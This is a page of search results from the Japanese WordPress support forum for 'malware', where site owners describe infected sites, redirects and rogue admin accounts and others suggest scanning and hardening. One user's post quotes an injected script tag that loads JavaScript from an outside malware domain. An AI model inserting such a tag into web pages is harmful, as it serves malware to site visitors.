Title: 「マルウェア」の検索結果 - page 4 | WordPress.org 日本語

---

# 「マルウェア」の検索結果

Viewing 15 results - 46 through 60 (of 83 total)

[←](https://ja.wordpress.org/support/search/%E3%83%9E%E3%83%AB%E3%82%A6%E3%82%A7%E3%82%A2/page/3/?output_format=md)
[1](https://ja.wordpress.org/support/search/%E3%83%9E%E3%83%AB%E3%82%A6%E3%82%A7%E3%82%A2/?output_format=md)
[2](https://ja.wordpress.org/support/search/%E3%83%9E%E3%83%AB%E3%82%A6%E3%82%A7%E3%82%A2/page/2/?output_format=md)
[3](https://ja.wordpress.org/support/search/%E3%83%9E%E3%83%AB%E3%82%A6%E3%82%A7%E3%82%A2/page/3/?output_format=md)
4 [5](https://ja.wordpress.org/support/search/%E3%83%9E%E3%83%AB%E3%82%A6%E3%82%A7%E3%82%A2/page/5/?output_format=md)
[6](https://ja.wordpress.org/support/search/%E3%83%9E%E3%83%AB%E3%82%A6%E3%82%A7%E3%82%A2/page/6/?output_format=md)
[→](https://ja.wordpress.org/support/search/%E3%83%9E%E3%83%AB%E3%82%A6%E3%82%A7%E3%82%A2/page/5/?output_format=md)

 *   フォーラム: [使い方全般](https://ja.wordpress.org/support/forum/how-to-and-troubleshooting/)
   
   返信が含まれるトピック: [トップページの表示がとんでもない事に](https://ja.wordpress.org/support/topic/%e3%83%88%e3%83%83%e3%83%97%e3%83%9a%e3%83%bc%e3%82%b8%e3%81%ae%e8%a1%a8%e7%a4%ba%e3%81%8c%e3%81%a8%e3%82%93%e3%81%a7%e3%82%82%e3%81%aa%e3%81%84%e4%ba%8b%e3%81%ab/)
 *  トピック投稿者 [131](https://ja.wordpress.org/support/users/131-1/)
 * (@131-1)
 * [13年、 6ヶ月前](https://ja.wordpress.org/support/topic/%e3%83%88%e3%83%83%e3%83%97%e3%83%9a%e3%83%bc%e3%82%b8%e3%81%ae%e8%a1%a8%e7%a4%ba%e3%81%8c%e3%81%a8%e3%82%93%e3%81%a7%e3%82%82%e3%81%aa%e3%81%84%e4%ba%8b%e3%81%ab/#post-159247)
 * hissyさんありがとうございます。
 * URL、申し訳ありませんでした。。。
 * 参考スレッドじっくりみてみます。
 * サーバーでphpMyAdminなどのツールを使用してエクスポートしたのですが
    1サーバー
   でWPのホームページを6個作っているので 全体がエクスポートされてよくわかりません
   でした。
 * マルウェアに感染したと見られるサイトだけのデータベースだけでエクスポートすること
   も出来るのでしょうか？
    よろしくお願いします。
 *   フォーラム: [使い方全般](https://ja.wordpress.org/support/forum/how-to-and-troubleshooting/)
   
   返信が含まれるトピック: [トップページの表示がとんでもない事に](https://ja.wordpress.org/support/topic/%e3%83%88%e3%83%83%e3%83%97%e3%83%9a%e3%83%bc%e3%82%b8%e3%81%ae%e8%a1%a8%e7%a4%ba%e3%81%8c%e3%81%a8%e3%82%93%e3%81%a7%e3%82%82%e3%81%aa%e3%81%84%e4%ba%8b%e3%81%ab/)
 *  [Takuro Hishikawa](https://ja.wordpress.org/support/users/hissy/)
 * (@hissy)
 * [13年、 6ヶ月前](https://ja.wordpress.org/support/topic/%e3%83%88%e3%83%83%e3%83%97%e3%83%9a%e3%83%bc%e3%82%b8%e3%81%ae%e8%a1%a8%e7%a4%ba%e3%81%8c%e3%81%a8%e3%82%93%e3%81%a7%e3%82%82%e3%81%aa%e3%81%84%e4%ba%8b%e3%81%ab/#post-159238)
 * マルウェアに感染したと見られるサイトのURLを貼るのはあまり感心しませんが…。
 * WordPressのクラッキングについては過去何度かスレッドが挙がっていますので、Codex
   の[ハッキング・クラッキング被害](http://wpdocs.sourceforge.jp/FAQ/%E3%83%8F%E3%83%83%E3%82%AD%E3%83%B3%E3%82%B0%E3%83%BB%E3%82%AF%E3%83%A9%E3%83%83%E3%82%AD%E3%83%B3%E3%82%B0%E8%A2%AB%E5%AE%B3)
   ページ、また過去スレッドもご参照ください。
    [http://ja.forums.wordpress.org/topic/8839](http://ja.forums.wordpress.org/topic/8839)
   [http://ja.forums.wordpress.org/topic/1301](http://ja.forums.wordpress.org/topic/1301)
 * もし仮にデータベースが無事であれば、データベースだけでエクスポートすることもでき
   ます。お使いのサーバーでphpMyAdminなどのツールが使用できるか確認してみてください。
 *   フォーラム: [インストール](https://ja.wordpress.org/support/forum/installation/)
   
   返信が含まれるトピック: [version upして表示やプラグインエラーが出ないでしょうか](https://ja.wordpress.org/support/topic/version-up%e3%81%97%e3%81%a6%e8%a1%a8%e7%a4%ba%e3%82%84%e3%83%97%e3%83%a9%e3%82%b0%e3%82%a4%e3%83%b3%e3%82%a8%e3%83%a9%e3%83%bc%e3%81%8c%e5%87%ba%e3%81%aa%e3%81%84%e3%81%a7%e3%81%97%e3%82%87%e3%81%86/)
 *  [tkj_tkj](https://ja.wordpress.org/support/users/tkj_tkj/)
 * (@tkj_tkj)
 * [13年、 7ヶ月前](https://ja.wordpress.org/support/topic/version-up%e3%81%97%e3%81%a6%e8%a1%a8%e7%a4%ba%e3%82%84%e3%83%97%e3%83%a9%e3%82%b0%e3%82%a4%e3%83%b3%e3%82%a8%e3%83%a9%e3%83%bc%e3%81%8c%e5%87%ba%e3%81%aa%e3%81%84%e3%81%a7%e3%81%97%e3%82%87%e3%81%86/#post-158336)
 * > ところで、マルウェアなどに感染するとありますが、WordPressはいったいどこから
   > マルウェア等に感染するんでしょうか？
 * google検索でオプションを「期間１年以内」で設定して
    「ワードプレス　セキュリティ」
   で調べていただくとかなり参考ＵＲＬが出てきますよ。
 * どうやら私と同じで２０１１年以降にマルウェアで苦しんでいる人が多いようです　笑
 * 感染経路は色々・・・と推察されます。
    ワードプレスのログインパスワードを突破さ
   れたり、 スパムメールのリンクを踏んでしまったり、 ＦＴＰソフトのパスワードを解読
   されたり、と私は認識しています。
 * パスワードを複雑化する、とか
    スパムは踏まない（ＦＴＰパスワードを持っている人間
   全員が気をつける） ＦＴＰ（ＦＦＦＴＰなど）ではなく、ＳＦＴＰが利用できるサーバ、
   ＦＴＰソフトを選ぶ、とかそういう感じですかね。
 * まだまだたくさん方法はあるみたいなので調べてみてください。
 *   フォーラム: [インストール](https://ja.wordpress.org/support/forum/installation/)
   
   返信が含まれるトピック: [version upして表示やプラグインエラーが出ないでしょうか](https://ja.wordpress.org/support/topic/version-up%e3%81%97%e3%81%a6%e8%a1%a8%e7%a4%ba%e3%82%84%e3%83%97%e3%83%a9%e3%82%b0%e3%82%a4%e3%83%b3%e3%82%a8%e3%83%a9%e3%83%bc%e3%81%8c%e5%87%ba%e3%81%aa%e3%81%84%e3%81%a7%e3%81%97%e3%82%87%e3%81%86/)
 *  トピック投稿者 [gapel](https://ja.wordpress.org/support/users/gapel/)
 * (@gapel)
 * [13年、 7ヶ月前](https://ja.wordpress.org/support/topic/version-up%e3%81%97%e3%81%a6%e8%a1%a8%e7%a4%ba%e3%82%84%e3%83%97%e3%83%a9%e3%82%b0%e3%82%a4%e3%83%b3%e3%82%a8%e3%83%a9%e3%83%bc%e3%81%8c%e5%87%ba%e3%81%aa%e3%81%84%e3%81%a7%e3%81%97%e3%82%87%e3%81%86/#post-158334)
 * ご親切にありがとうございます。
 * >  導入したプラグインの公式ページを確認して
   >  ワードプレスのバージョンアップに
   > どこまで対応しているのかを確認するのが一番安全ですが、
 * そうですかそうなりますか・・・
    ほとんどが英語サイトでしょうね・・・
 * >  仕組み上、
   >  古いプラグインはどこかのタイミングで動作しなくなることはあると
   > 覚悟された方がよいかと思います。
 * そうなんですよね・・・
    WordPressはプラグインが無いと何もできないというくらい
   基本機能が低く、 プラグインを色々と入れて初めてCMSサイト、そしてSEOに強いサイト
   を 作成することができる、という性格のものなんですよね・・・ 他のオープンソース
   CMSは同じかも知れませんが・・・
 * >  またワードプレスは３．○の○の部分がバージョンアップする、いわゆる
   >  メジャー
   > バージョンアップ時にはバージョンアップをされた方がいいかと思います。
 * なるほど、メジャーバージョンアップでおこなうべきなのですね。
    ありがとうござい
   ます。
 * >  これはセキュリティ上の問題でマルウェアなどに感染してしまう可能性が高いから
   > です。
   > ※というよりも昨年からバージョンアップを放置しているワードプレスサイトのマル
   > ウェア対応を何度もしてきた経験からの助言です・・・
 * ひええ・・・マルウエアたいおうって大変そうですね・・・
    ところで、マルウェアなど
   に感染するとありますが、WordPressはいったいどこからマルウェア等に 感染するんで
   しょうか？
 * 何卒宜しくお願い致します。
 *   フォーラム: [インストール](https://ja.wordpress.org/support/forum/installation/)
   
   返信が含まれるトピック: [version upして表示やプラグインエラーが出ないでしょうか](https://ja.wordpress.org/support/topic/version-up%e3%81%97%e3%81%a6%e8%a1%a8%e7%a4%ba%e3%82%84%e3%83%97%e3%83%a9%e3%82%b0%e3%82%a4%e3%83%b3%e3%82%a8%e3%83%a9%e3%83%bc%e3%81%8c%e5%87%ba%e3%81%aa%e3%81%84%e3%81%a7%e3%81%97%e3%82%87%e3%81%86/)
 *  [tkj_tkj](https://ja.wordpress.org/support/users/tkj_tkj/)
 * (@tkj_tkj)
 * [13年、 7ヶ月前](https://ja.wordpress.org/support/topic/version-up%e3%81%97%e3%81%a6%e8%a1%a8%e7%a4%ba%e3%82%84%e3%83%97%e3%83%a9%e3%82%b0%e3%82%a4%e3%83%b3%e3%82%a8%e3%83%a9%e3%83%bc%e3%81%8c%e5%87%ba%e3%81%aa%e3%81%84%e3%81%a7%e3%81%97%e3%82%87%e3%81%86/#post-158302)
 * gapelさん
 * 導入したプラグインの公式ページを確認して
    ワードプレスのバージョンアップにどこ
   まで対応しているのかを確認するのが一番安全ですが、
 * 仕組み上、
    古いプラグインはどこかのタイミングで動作しなくなることはあると 覚悟
   された方がよいかと思います。
 * またワードプレスは３．○の○の部分がバージョンアップする、いわゆる
    メジャーバージョンアップ
   時にはバージョンアップをされた方がいいかと思います。
 * これはセキュリティ上の問題でマルウェアなどに感染してしまう可能性が高いからです。
 * ※というよりも昨年からバージョンアップを放置しているワードプレスサイトのマルウェア
   対応を何度もしてきた経験からの助言です・・・
 *   フォーラム: [使い方全般](https://ja.wordpress.org/support/forum/how-to-and-troubleshooting/)
   
   返信が含まれるトピック: [iphone,ipadで海外サイトが表示されるマルウェア？](https://ja.wordpress.org/support/topic/iphoneipad%e3%81%a7%e6%b5%b7%e5%a4%96%e3%82%b5%e3%82%a4%e3%83%88%e3%81%8c%e8%a1%a8%e7%a4%ba%e3%81%95%e3%82%8c%e3%82%8b%e3%83%9e%e3%83%ab%e3%82%a6%e3%82%a7%e3%82%a2%ef%bc%9f/)
 *  トピック投稿者 [tkj_tkj](https://ja.wordpress.org/support/users/tkj_tkj/)
 * (@tkj_tkj)
 * [13年、 7ヶ月前](https://ja.wordpress.org/support/topic/iphoneipad%e3%81%a7%e6%b5%b7%e5%a4%96%e3%82%b5%e3%82%a4%e3%83%88%e3%81%8c%e8%a1%a8%e7%a4%ba%e3%81%95%e3%82%8c%e3%82%8b%e3%83%9e%e3%83%ab%e3%82%a6%e3%82%a7%e3%82%a2%ef%bc%9f/#post-157492)
 * Kuraishiさま
 * ありがとうございました。
    Level Warning (68 matches)の方はほぼ全て「Modified 
   core file」という文字列が入っておりました。
 * とりあえず、いったんファイルを全削除し、
    リカバリーをしてみます。
 * それにしてもなぜマルウェアを埋め込まれたのかが
    分からないのが怖いですね・・・
 *   フォーラム: [その他](https://ja.wordpress.org/support/forum/miscellaneous/)
   
   返信が含まれるトピック: [wp-login.php へのアタックが多くなってきているので……](https://ja.wordpress.org/support/topic/wp-loginphp-%e3%81%b8%e3%81%ae%e3%82%a2%e3%82%bf%e3%83%83%e3%82%af%e3%81%8c%e5%a4%9a%e3%81%8f%e3%81%aa%e3%81%a3%e3%81%a6%e3%81%8d%e3%81%a6%e3%81%84%e3%82%8b%e3%81%ae%e3%81%a7%e2%80%a6%e2%80%a6/)
 *  [Takuro Hishikawa](https://ja.wordpress.org/support/users/hissy/)
 * (@hissy)
 * [13年、 8ヶ月前](https://ja.wordpress.org/support/topic/wp-loginphp-%e3%81%b8%e3%81%ae%e3%82%a2%e3%82%bf%e3%83%83%e3%82%af%e3%81%8c%e5%a4%9a%e3%81%8f%e3%81%aa%e3%81%a3%e3%81%a6%e3%81%8d%e3%81%a6%e3%81%84%e3%82%8b%e3%81%ae%e3%81%a7%e2%80%a6%e2%80%a6/#post-157633)
 * 情報ありがとうございます。あのマルウェア対策のSucuriが関連しそうなブログ記事を
   アップしていました。
 * Brute force attacks against WordPress sites
    [http://blog.sucuri.net/2012/03/brute-force-attacks-against-wordpress-sites.html](http://blog.sucuri.net/2012/03/brute-force-attacks-against-wordpress-sites.html)
 * この記事では最近増えたというニュアンスではないですね。ぼくも以前からこの手のアタック
   は存在した気がしますが、最近また増えてきたのでしょうか？だとしたら由々しき事態
   ですね。
 * この手のアタックの特徴はユーザー名「admin」と「admin123」「p@ssw0rd」などの、
   統計的に世間で「ありがち」なパスワードを組み合わせてアクセスを試みます。いわゆる
   辞書攻撃というやつです。WordPressはユーザーが多いので、このような初歩的なミス
   を犯すユーザーでも世界中にたくさんいることと思います。ブルートフォースアタック
   としてブロックされないように、わざと2秒間隔を開けるという芸の細かさです。でも
   2秒程度でごまかせるということはネットワーク管理者もナメられているということです
   かね。
 * 対策としては、記事中では、
    ・デフォルトの admin ユーザーを取り除く ・可能であれ
   ばパスワードジェネレーターを使う ・サイトの寄稿者に管理画面へのアクセスを許し
   ている場合は、パスワードジェネレーターの使用を強制させる ・全てのユーザーの権限
   を確認し、管理者権限を持つ必要が無いユーザーからは権限を外す と紹介されています。
 * この手法に限って言えば、admin 限定で来ていますので、無効化することは意味があり
   ます。ただし、だからといって管理者権限をもった「sub-admin」アカウントを作って、
   そのパスワードが「password」だったら何の意味もありません。
 * 個人的には、パスワードジェネレーターを使うことをまず第一の対策としてほしいなと
   思います。ユーザー名がバレない前提でセキュリティを考えるのは非常に危険ですし、
   アプリケーション側の設計としてはユーザー名がバレている前提で作られています。また、
   adminを削除することは利便性の面でもどうかな…と思います。
 * 逆に、利便性の面で長いパスワードは無理！覚えられない！という抵抗が強いのでしょうが、
   そういう場合はLastPassなどを使えばいいし、そもそもadminを普段から使うのはやめ
   て、例え管理者自身であっても、記事の更新をする際は権限を制限したadmin以外のユーザー
   を使うべきだと思います。
 * というわけで、パスワードさえ気にしていれば心配することはない、という Tai さん
   の意見に同意ですが、サイトの性格によってさらに対策が可能であれば検討してもいい
   でしょう。セキュリティ対策については、あくまで自己責任かつケース・バイ・ケース
   でありますので、こうすべきだということを強制はできませんが、ぜひCodexも参考にし
   ていただきたいと思います。
 * [Codex : FAQ/ハッキング・クラッキング被害](http://wpdocs.sourceforge.jp/FAQ/%E3%83%8F%E3%83%83%E3%82%AD%E3%83%B3%E3%82%B0%E3%83%BB%E3%82%AF%E3%83%A9%E3%83%83%E3%82%AD%E3%83%B3%E3%82%B0%E8%A2%AB%E5%AE%B3)
 * セキュリティ関係のフォーラムの書き込みには優先的に回答していますが、総じて返信
   が無いんですよね…。はたしてちゃんと対策してくれているのか…。
 *   フォーラム: [使い方全般](https://ja.wordpress.org/support/forum/how-to-and-troubleshooting/)
   
   返信が含まれるトピック: [iphone,ipadで海外サイトが表示されるマルウェア？](https://ja.wordpress.org/support/topic/iphoneipad%e3%81%a7%e6%b5%b7%e5%a4%96%e3%82%b5%e3%82%a4%e3%83%88%e3%81%8c%e8%a1%a8%e7%a4%ba%e3%81%95%e3%82%8c%e3%82%8b%e3%83%9e%e3%83%ab%e3%82%a6%e3%82%a7%e3%82%a2%ef%bc%9f/)
 *  [Takuro Hishikawa](https://ja.wordpress.org/support/users/hissy/)
 * (@hissy)
 * [13年、 8ヶ月前](https://ja.wordpress.org/support/topic/iphoneipad%e3%81%a7%e6%b5%b7%e5%a4%96%e3%82%b5%e3%82%a4%e3%83%88%e3%81%8c%e8%a1%a8%e7%a4%ba%e3%81%95%e3%82%8c%e3%82%8b%e3%83%9e%e3%83%ab%e3%82%a6%e3%82%a7%e3%82%a2%ef%bc%9f/#post-157397)
 * そうだ、マルウェアに感染しているかどうか Exploit Scanner でチェックするのが確実
   です。
    [http://ja.forums.wordpress.org/topic/2743](http://ja.forums.wordpress.org/topic/2743)
 *   フォーラム: [使い方全般](https://ja.wordpress.org/support/forum/how-to-and-troubleshooting/)
   
   返信が含まれるトピック: [iphone,ipadで海外サイトが表示されるマルウェア？](https://ja.wordpress.org/support/topic/iphoneipad%e3%81%a7%e6%b5%b7%e5%a4%96%e3%82%b5%e3%82%a4%e3%83%88%e3%81%8c%e8%a1%a8%e7%a4%ba%e3%81%95%e3%82%8c%e3%82%8b%e3%83%9e%e3%83%ab%e3%82%a6%e3%82%a7%e3%82%a2%ef%bc%9f/)
 *  [Takuro Hishikawa](https://ja.wordpress.org/support/users/hissy/)
 * (@hissy)
 * [13年、 8ヶ月前](https://ja.wordpress.org/support/topic/iphoneipad%e3%81%a7%e6%b5%b7%e5%a4%96%e3%82%b5%e3%82%a4%e3%83%88%e3%81%8c%e8%a1%a8%e7%a4%ba%e3%81%95%e3%82%8c%e3%82%8b%e3%83%9e%e3%83%ab%e3%82%a6%e3%82%a7%e3%82%a2%ef%bc%9f/#post-157391)
 * リダイレクトされてしまう原因を切り分けるため、ブラウザのJavascriptをオフにして
   アクセスしてみましょう。転送されなければ、どこかにリダイレクトのJavascriptが書
   いてあるのでそのコードを出力している原因を探ります。
 * Javascriptを切っても転送される場合は、PHPかサーバーが原因ですが、EC CUBEでは飛
   ばないとのことなので、前者でしょう。お使いのantivirusプラグインとは何でしょう
   か…？検知できてないのではないでしょうか。ひとつのスキャン方法は、サーバー上の
   全ファイルをダウンロードしてマルウェアを検知できるセキュリティソフトでそれらの
   ファイルをスキャンすることです。試してみてください。
 * 以前に不正なコードを埋め込まれたことがあるということですが、同じサーバー・ドメイン
   ですか？その場合、以前の感染時にブラックリストに入れられている可能性もあります。
 *   フォーラム: [使い方全般](https://ja.wordpress.org/support/forum/how-to-and-troubleshooting/)
   
   トピック: [iphone,ipadで海外サイトが表示されるマルウェア？](https://ja.wordpress.org/support/topic/iphoneipad%e3%81%a7%e6%b5%b7%e5%a4%96%e3%82%b5%e3%82%a4%e3%83%88%e3%81%8c%e8%a1%a8%e7%a4%ba%e3%81%95%e3%82%8c%e3%82%8b%e3%83%9e%e3%83%ab%e3%82%a6%e3%82%a7%e3%82%a2%ef%bc%9f/)
    -  [tkj_tkj](https://ja.wordpress.org/support/users/tkj_tkj/)
    - (@tkj_tkj)
    - [13年、 8ヶ月前](https://ja.wordpress.org/support/topic/iphoneipad%e3%81%a7%e6%b5%b7%e5%a4%96%e3%82%b5%e3%82%a4%e3%83%88%e3%81%8c%e8%a1%a8%e7%a4%ba%e3%81%95%e3%82%8c%e3%82%8b%e3%83%9e%e3%83%ab%e3%82%a6%e3%82%a7%e3%82%a2%ef%bc%9f/)
    - お世話になっております、
    - 製作中のサイトがＰＣでは通常表示されるのですが
       iphone,ipad（androidは手元
      になし）でＵＲＬに遷移すると 何度かリダイレクトされて最終的に海外のサイトへ
      遷移してしまいます。
    - サーバはさくらＶＰＳ
       ＳＦＴＰのfilezillaでコードのアップロードなどを行って
      います。 パソコン自体はマカフィーのアンチウィルスプラスが入っており、 保護
      された状態、という表示が出ております。
    - 同じサーバ内に二つのサイト（ＥＣcube）があり、
       片方は問題なくiphone,ipadで
      通常表示されます。
    - ワードプレスでこれがウィルスなのか何なのか確認する方法について
       ご存知の方
      はおられますでしょうか？ 以前、phpファイル全てに不正なコードの記述をされた
      ことがありますが 今回はパッと見ですが発見できません。 また、antivirusプラグ
      インでチェックしましたが バックドアなどは仕掛けられておりません。
    - 緊急対応についてどのような手があるか、
       私も確認中ですが、どなたかご存知の
      方がおられたら教えて頂ければ幸いです。
 *   フォーラム: [使い方全般](https://ja.wordpress.org/support/forum/how-to-and-troubleshooting/)
   
   トピック: [知らない間に管理人権限をもつ覚えのないユーザーが2名登録されています](https://ja.wordpress.org/support/topic/%e7%9f%a5%e3%82%89%e3%81%aa%e3%81%84%e9%96%93%e3%81%ab%e7%ae%a1%e7%90%86%e4%ba%ba%e6%a8%a9%e9%99%90%e3%82%92%e3%82%82%e3%81%a4%e8%a6%9a%e3%81%88%e3%81%ae%e3%81%aa%e3%81%84%e3%83%a6%e3%83%bc%e3%82%b6/)
    -  [riri1307](https://ja.wordpress.org/support/users/rizaxriza/)
    - (@rizaxriza)
    - [13年、 10ヶ月前](https://ja.wordpress.org/support/topic/%e7%9f%a5%e3%82%89%e3%81%aa%e3%81%84%e9%96%93%e3%81%ab%e7%ae%a1%e7%90%86%e4%ba%ba%e6%a8%a9%e9%99%90%e3%82%92%e3%82%82%e3%81%a4%e8%a6%9a%e3%81%88%e3%81%ae%e3%81%aa%e3%81%84%e3%83%a6%e3%83%bc%e3%82%b6/)
    - 管理人権限をもつ覚えのないユーザーが2名登録されていました。
       1人目：ユーザー
      名（carterd）　メールアドレス（carterd@私と同じドメイン） 　　　PHPmyAdmin
      側のユーザー名（Charlotte Cruz） 2人目：ユーザー名 (charlottec) メールアドレス(
      charlottec@私と同じドメイン) 　　　PHPmyAdmin側のユーザー名（Carter Davis）
    - PHPMyAdminにてusersテーブルを確認したところ、自分で登録したユーザー名にはuser_registered
      の値として日付時刻が登録されているのに、不明な2名に関しては0000-00-00 00:00:
      00と表示されていて、登録時刻を確認できませんでした。
    - 私のブログは過去に1度マルウェアが見つかり、このファイルを削除、
       2度目はブログ
      にアクセスした時にトロイが発見され、FTP内を調べたところ、知らない間に英語表記
      のhtmlファイルが大量に増殖してガンブラー被害にあっていることがわかり、デー
      ターベース毎削除しました。これは12年2月のことです。
    - ユーザー名を新たに変えてデーターベースを新規作成してから、セキュリティの強化
      として自分のPC(IP)以外からの管理画面アクセス拒否を行っています。
       また、不明
      な2名のアカウント作成は日時時刻の記録がないものの、phpmyadminでは自分のアカウント
      より後に作られていると考えています。IDナンバーが2と3だったので。
    - 他のサイト等で同じアカウントの組み合わせを使用していません。ちなみにPCのスキャン
      も公開中のブログのスキャンもクリアです。
    - 一般設定によるメンバーシップ：メンバーシップ だれでもユーザー登録ができるよう
      にする はチェックを入れたことがありません。
    - これは何かセキュリティーホールでもあって、第三者による登録があったということ
      でしょうか？それとも私の設定無知等でプラグイン等が自動作成したのでしょうか？
    - とりあえず不明なユーザーを削除するつもりでいますが、他にするべき対応がある
      かもしれないと思って、管理者権限を外し、権限なしに変更して削除はしていません。
      
      自分のパスワードは変更しました。
    - どなたか詳しい方アドバイスをいただけないでしょうか？
 *   フォーラム: [使い方全般](https://ja.wordpress.org/support/forum/how-to-and-troubleshooting/)
   
   トピック: [マルウェア？　asaunirg.com.br/](https://ja.wordpress.org/support/topic/%e3%83%9e%e3%83%ab%e3%82%a6%e3%82%a7%e3%82%a2%ef%bc%9f%e3%80%80asaunirgcombr/)
    -  [skk0168ju](https://ja.wordpress.org/support/users/skk0168ju/)
    - (@skk0168ju)
    - [14年前](https://ja.wordpress.org/support/topic/%e3%83%9e%e3%83%ab%e3%82%a6%e3%82%a7%e3%82%a2%ef%bc%9f%e3%80%80asaunirgcombr/)
    - 管理しているサイトのgoogle検索で、
       「警告: 不正なソフトウェアが存在する可能性
      があります」 というメッセージとともにサイトの表示がされなくなってしまいました。
    - セーフブラウジングページでは
       「1 個のドメイン（asaunirg.com.br/ など）がこの
      サイトの訪問ユーザーに不正なソフトウェアを配布する媒体となっていたようです。」
      と表示されております。
    - また、表示が疑われるコードというところに
       <script type=”text/javascript” src
      =”[http://asaunirg.com.br/j](http://asaunirg.com.br/j) s/0day.php”> と出て
      おります。
    - ここは、どこで削除できるのでしょうか。
       初心者な部分もあり、テンプレート編集
      ページで削除などしましたが 上手く行きません。。
    - 詳しい方、ご意見お願い申し上げます。
 *   フォーラム: [使い方全般](https://ja.wordpress.org/support/forum/how-to-and-troubleshooting/)
   
   返信が含まれるトピック: [footet.phpが書き換えられる（改ざんされる？）](https://ja.wordpress.org/support/topic/footetphp%e3%81%8c%e6%9b%b8%e3%81%8d%e6%8f%9b%e3%81%88%e3%82%89%e3%82%8c%e3%82%8b%ef%bc%88%e6%94%b9%e3%81%96%e3%82%93%e3%81%95%e3%82%8c%e3%82%8b%ef%bc%9f%ef%bc%89/)
 *  [Takuro Hishikawa](https://ja.wordpress.org/support/users/hissy/)
 * (@hissy)
 * [14年、 2ヶ月前](https://ja.wordpress.org/support/topic/footetphp%e3%81%8c%e6%9b%b8%e3%81%8d%e6%8f%9b%e3%81%88%e3%82%89%e3%82%8c%e3%82%8b%ef%bc%88%e6%94%b9%e3%81%96%e3%82%93%e3%81%95%e3%82%8c%e3%82%8b%ef%bc%9f%ef%bc%89/#post-150791)
 * サイトがマルウェアに感染しているようです。まずCodexの[ハッキング・クラッキング被害](http://wpdocs.sourceforge.jp/FAQ/%E3%83%8F%E3%83%83%E3%82%AD%E3%83%B3%E3%82%B0%E3%83%BB%E3%82%AF%E3%83%A9%E3%83%83%E3%82%AD%E3%83%B3%E3%82%B0%E8%A2%AB%E5%AE%B3)
   ページ、また過去スレッドをご参照ください。
    [http://ja.forums.wordpress.org/topic/8839](http://ja.forums.wordpress.org/topic/8839)
   [http://ja.forums.wordpress.org/topic/1301](http://ja.forums.wordpress.org/topic/1301)
 * その上で、違う要素があり解決不能であれば、ご報告ください。
 *   フォーラム: [使い方全般](https://ja.wordpress.org/support/forum/how-to-and-troubleshooting/)
   
   返信が含まれるトピック: [xamppでマルウェアに感染？](https://ja.wordpress.org/support/topic/xampp%e3%81%a7%e3%83%9e%e3%83%ab%e3%82%a6%e3%82%a7%e3%82%a2%e3%81%ab%e6%84%9f%e6%9f%93%ef%bc%9f/)
 *  [Takuro Hishikawa](https://ja.wordpress.org/support/users/hissy/)
 * (@hissy)
 * [14年、 2ヶ月前](https://ja.wordpress.org/support/topic/xampp%e3%81%a7%e3%83%9e%e3%83%ab%e3%82%a6%e3%82%a7%e3%82%a2%e3%81%ab%e6%84%9f%e6%9f%93%ef%bc%9f/#post-150787)
 * 不正なコードに感染したテーマが、他のテーマのコードも書き換えてしまうのは、経験
   あります。マルウェアが感染しているのはテーマではないかと思います。
 * まず、Timthumb Vulnerability Scannerプラグインをいれて検査してみてください。
   
   [http://wordpress.org/extend/plugins/timthumb-vulnerability-scanner/](http://wordpress.org/extend/plugins/timthumb-vulnerability-scanner/)
 * それでも見つからなければ、プリインストールされているテーマを含む全てのテーマを
   配布元から再ダウンロードし、ローカルの全てのテーマのすべてのファイルを比較して
   みてください。
 *   フォーラム: [使い方全般](https://ja.wordpress.org/support/forum/how-to-and-troubleshooting/)
   
   返信が含まれるトピック: [警告: 不正なソフトウェアが存在する可能性があります](https://ja.wordpress.org/support/topic/%e8%ad%a6%e5%91%8a-%e4%b8%8d%e6%ad%a3%e3%81%aa%e3%82%bd%e3%83%95%e3%83%88%e3%82%a6%e3%82%a7%e3%82%a2%e3%81%8c%e5%ad%98%e5%9c%a8%e3%81%99%e3%82%8b%e5%8f%af%e8%83%bd%e6%80%a7%e3%81%8c%e3%81%82%e3%82%8a/)
 *  トピック投稿者 [to_fu](https://ja.wordpress.org/support/users/to_fu/)
 * (@to_fu)
 * [14年、 2ヶ月前](https://ja.wordpress.org/support/topic/%e8%ad%a6%e5%91%8a-%e4%b8%8d%e6%ad%a3%e3%81%aa%e3%82%bd%e3%83%95%e3%83%88%e3%82%a6%e3%82%a7%e3%82%a2%e3%81%8c%e5%ad%98%e5%9c%a8%e3%81%99%e3%82%8b%e5%8f%af%e8%83%bd%e6%80%a7%e3%81%8c%e3%81%82%e3%82%8a/#post-150665)
 * nobitaさん、ありがとうございます。
 * いろいろ調べていくと、xamppで作成したオリジナルテーマがすべて感染していること
   がわかりました。
    ローカルに問題があるということでしょうか。
 * 新しくスレッドを立てましたので、見ていただけるとうれしいです。
    [「xamppでマルウェアに感染？」](http://ja.forums.wordpress.org/topic/11332?replies=1#post-41170)

Viewing 15 results - 46 through 60 (of 83 total)

[←](https://ja.wordpress.org/support/search/%E3%83%9E%E3%83%AB%E3%82%A6%E3%82%A7%E3%82%A2/page/3/?output_format=md)
[1](https://ja.wordpress.org/support/search/%E3%83%9E%E3%83%AB%E3%82%A6%E3%82%A7%E3%82%A2/?output_format=md)
[2](https://ja.wordpress.org/support/search/%E3%83%9E%E3%83%AB%E3%82%A6%E3%82%A7%E3%82%A2/page/2/?output_format=md)
[3](https://ja.wordpress.org/support/search/%E3%83%9E%E3%83%AB%E3%82%A6%E3%82%A7%E3%82%A2/page/3/?output_format=md)
4 [5](https://ja.wordpress.org/support/search/%E3%83%9E%E3%83%AB%E3%82%A6%E3%82%A7%E3%82%A2/page/5/?output_format=md)
[6](https://ja.wordpress.org/support/search/%E3%83%9E%E3%83%AB%E3%82%A6%E3%82%A7%E3%82%A2/page/6/?output_format=md)
[→](https://ja.wordpress.org/support/search/%E3%83%9E%E3%83%AB%E3%82%A6%E3%82%A7%E3%82%A2/page/5/?output_format=md)

## トピック

### 人気のトピック

### 返信がないトピック

### サポート関連ではないトピック

### 解決済みのトピック

### 未解決のトピック

### すべてのトピック
